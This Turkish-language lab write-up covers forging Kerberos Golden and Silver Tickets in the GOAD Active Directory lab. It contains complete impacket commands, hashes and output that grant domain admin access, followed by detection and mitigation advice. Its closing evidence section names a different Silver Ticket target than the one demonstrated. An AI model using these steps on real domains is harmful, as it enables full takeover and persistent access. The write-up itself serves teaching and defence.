Zaten elimizde olan hash’ler

Walkthrough serisinin sonunda secretsdump notlarımıza aslında hiç kullanmadığımız iki şey bıraktı: her domain’in krbtgt hash’i ve bir yığın servis hesabı hash’i. Biz ise cross-forest’a, AD CS’ye ve MSSQL’e geçtik. O hash’ler, masada bıraktığımız ana anahtarlardı.

Bu yazı o döngüyü kapatıyor. Bir Kerberos bileti, bir hesabın gizli anahtarıyla şifrelenmiş bir veri bloğundan ibarettir. Gizli anahtarı elinde tutuyorsan, KDC’den bilet istemek yerine kendi biletini üretebilirsin — çalmak ile üretmek arasındaki fark tam olarak budur. Çalmak mevcut bir bileti ele geçirmek demekken, üretmek KDC’nin hiç haberi olmadan geçerli görünen yeni bir bilet yaratmak demektir. Bu ayrım önemlidir, çünkü çalınan bilet eninde sonunda süresi dolduğunda işe yaramaz hale gelir; üretilen bilet ise anahtar değişmediği sürece çalışmaya devam eder.

Golden Ticket: krbtgt ana anahtarı

krbtgt, domain’deki her Ticket Granting Ticket’ı imzalayan anahtara sahip olan hesaptır. Onun hash’ini elinde tutuyorsan KDC’ye hiç ihtiyacın yoktur — kendi TGT’ni imzalar, Administrator olduğunu iddia edersin ve imza eşleştiği için domain buna inanır.

Gerekli üç malzeme, zaten topladıklarımızdır:

  1. krbtgt NTLM hash’i — Bölüm 3’teki DCSync’ten.
  2. Domain SID’i — herhangi bir whoami /user veya impacket-lookupsid çıktısından.
  3. Hedef RID — yerleşik Administrator hesabı için 500.
$ impacket-ticketer -nthash 72765225164f1b6542a3b0464aad363a \
    -domain-sid S-1-5-21-3291916993-3717649449-3745629854 \
    -domain sevenkingdoms.local Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ nxc smb kingslanding.sevenkingdoms.local -k --use-kcache
SMB  kingslanding.sevenkingdoms.local  445  KINGSLANDING  [+] SEVENKINGDOMS.LOCAL\Administrator from ccache (Pwn3d!)

Parola yok, sıfırlama yok, KDC’ye hiçbir AS-REQ gitmedi. TGT’yi Kali üzerinde çevrimdışı ürettik ve Domain Controller kabul etti. O Pwn3d! çıktısı işin özetidir: krbtgt hash’i domain’in ta kendisidir. Bilet süresi dolmaz, hesap kilitlemesine takılmaz ve gerçek Administrator parolası değiştirildikten sonra bile çalışmaya devam eder — bu yüzden Golden Ticket öncelikle tek seferlik bir giriş değil, bir kalıcılık tekniğidir. Savunma açısından asıl zorluk da buradadır: parola değiştirmek gibi olağan müdahaleler bu bileti etkilemez; yalnızca krbtgt anahtarının kendisini döndürmek onu geçersiz kılar.

Silver Ticket: aynı numara, tek SPN

Golden Ticket’ın zayıflığı aynı zamanda onu ele veren şeydir: bir engagement’ta en çok üzerine yazılan hash’tir ve krbtgt’yi döndürmek onu öldürür. Silver Ticket ise daha sessiz bir versiyondur. krbtgt ile TGT üretmek yerine, bir SPN’e sahip olan servis hesabının hash’iyle bir servis bileti üretirsin — bu bilet yalnızca o SPN’e kapsanmıştır, başka hiçbir şeye değil.

Elimizde zaten bir servis hesabı vardı: MSSQLSvc/braavos.essos.local SPN’inin sahibi sql_svc. DCSync bize hash’ini vermişti; gerisini impacket-ticketer yaptı:

$ impacket-secretsdump essos.local/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user sql_svc
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::

$ impacket-ticketer -nthash 84a5092f53390ea48d660be52b93b804 \
    -domain-sid S-1-5-21-2405585222-1741672622-953379088 -domain essos.local \
    -spn MSSQLSvc/braavos.essos.local -user-id 500 Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k -no-pass braavos.essos.local
SQL (ESSOS.LOCAL\Administrator  guest@master)>

Prompt hikâyenin tamamını anlatır: SQL Server üzerinde ESSOS.LOCAL\Administrator olduk; kimliğimiz sql_svc’nin hash’inden ürettiğimiz bir biletle doğrulandı. Ancak kapsam dardır — o bilet yalnızca MSSQLSvc/braavos için çalışır, CIFS/meereen veya başka bir servis için değil. Bu darlık aynı zamanda bir avantajdır: bilet yalnızca hedef serviste işe yaradığı için gereksiz yerlere erişim denemesi yapılmaz ve iz daha küçük kalır. Silver Ticket hassas ve sessizdir; Golden Ticket ise geniş ve gürültülüdür. Bu yüzden hangisini seçeceğin, ihtiyacın olan erişim kapsamına ve bırakmayı göze aldığın izlere bağlıdır.

KERBEROS BİLETİ ÜRETMEK · GOLDEN VS SILVER Golden Ticket anahtar: krbtgt hash + domain SID + RID 500 TGT üretir → her servis kalıcılık · parola değişse de sürer Silver Ticket anahtar: servis hesabı hash + domain SID + tek SPN TGS üretir → tek SPN sessiz · krbtgt dönse de sürer
Aynı temel mekanizma, farklı anahtar: Golden Ticket krbtgt ile bir TGT imzalar ve tüm domain'i açar; Silver Ticket tek bir servis hesabının hash'iyle bir servis bileti imzalar ve tek bir SPN'i açar.

Tespit ve çözüm

Tespit: Üretilen bir bilet KDC’ye hiç uğramaz, bu yüzden yakalanacak bir 4769 kaydı yoktur — onu zor tespit edilir kılan da budur. İpucu, alışılmadık derecede uzun ömürlü bir TGT/TGS’dir (varsayılan Golden Ticket çoğu zaman 10 yıllık üretilir) veya gerçek bir 4768/4769 değişimiyle eşleşmeyen bir PAC’tır. Bilet kullanımını gerçek AS-REQ/TGS-REQ loglarıyla ilişkilendir: eşleşen bir isteği bulunmayan bilet üretilmiş demektir. Tek tek kayıtlara değil, biletin yaşam döngüsüne bakmak gerekir; çünkü üretilmiş bir bilet, kullanıldığı anda normal bir kimlik doğrulamasından ayırt edilemeyecek kadar temiz görünebilir.

Kontrol: krbtgt’yi iki kez döndür (önerilen kurtarma yöntemi), çünkü tek bir döndürme eski biletleri geçersiz kılmaya yetmez. İki döndürme arasındaki bekleme süresine de dikkat etmek gerekir; amaç, hâlâ geçerli olan eski biletlerin doğal olarak süresinin dolmasını beklemektir. Silver Ticket’ların ulaşamayacağın bir hash gerektirmesi için servis hesabı parolalarını sıkılaştır, bu hash’leri önbelleğe alan hostlarda Credential Guard’ı aç ve — bu serideki her şeyde olduğu gibi — krbtgt ile servis hesaplarını Domain Admins’i koruduğun gibi koru: onlar kapı değil, anahtardır.

Özet

ÖzellikGolden TicketSilver Ticket
Anahtarkrbtgt hashtek servis hesabının hash’i
ÜretirTGTservis bileti (TGS)
Kapsamtüm domaintek SPN
Hayatta kalıradmin parolası değişse dekrbtgt dönse de
Tespituzun TGT ömrü, eksik 4768eksik 4769, kapsanmış SPN

Bu nereye oturuyor

Bu yazı, Bölüm 3’teki DCSync ve AD CS ESC1 zincirinin “hash’lerle ne yapılır” sorusuna verilen devam yanıtıdır. Aynı kulvardaki sonraki doğal duraklar: pass-the-hash / overpass-the-hash (hiçbir şey üretmeden aynı hash’lerle hareket etmek) ve shadow copies / NTDS.dit (tüm veritabanını DC’den çevrimdışı çekmek). Her biri, elindeki anahtar malzemesini farklı bir saldırı yoluna dönüştürür.

Kanıt ve sınırlar

Hem Golden Ticket (krbtgt NT hash) hem de Silver Ticket (cifs/castelblack.north.sevenkingdoms.local için CASTELBLACK$ servis hash’i) üretimleri izole GOAD laboratuvarı içinde doğrulanmıştır. Kullanılan tüm anahtarlar ve domain SID değerleri GOAD’ın sentetik dizin test verileridir; gerçek bir ortamda bu değerlerin ele geçirilmesi çok daha ciddi sonuçlar doğurur.

Referanslar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar6 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.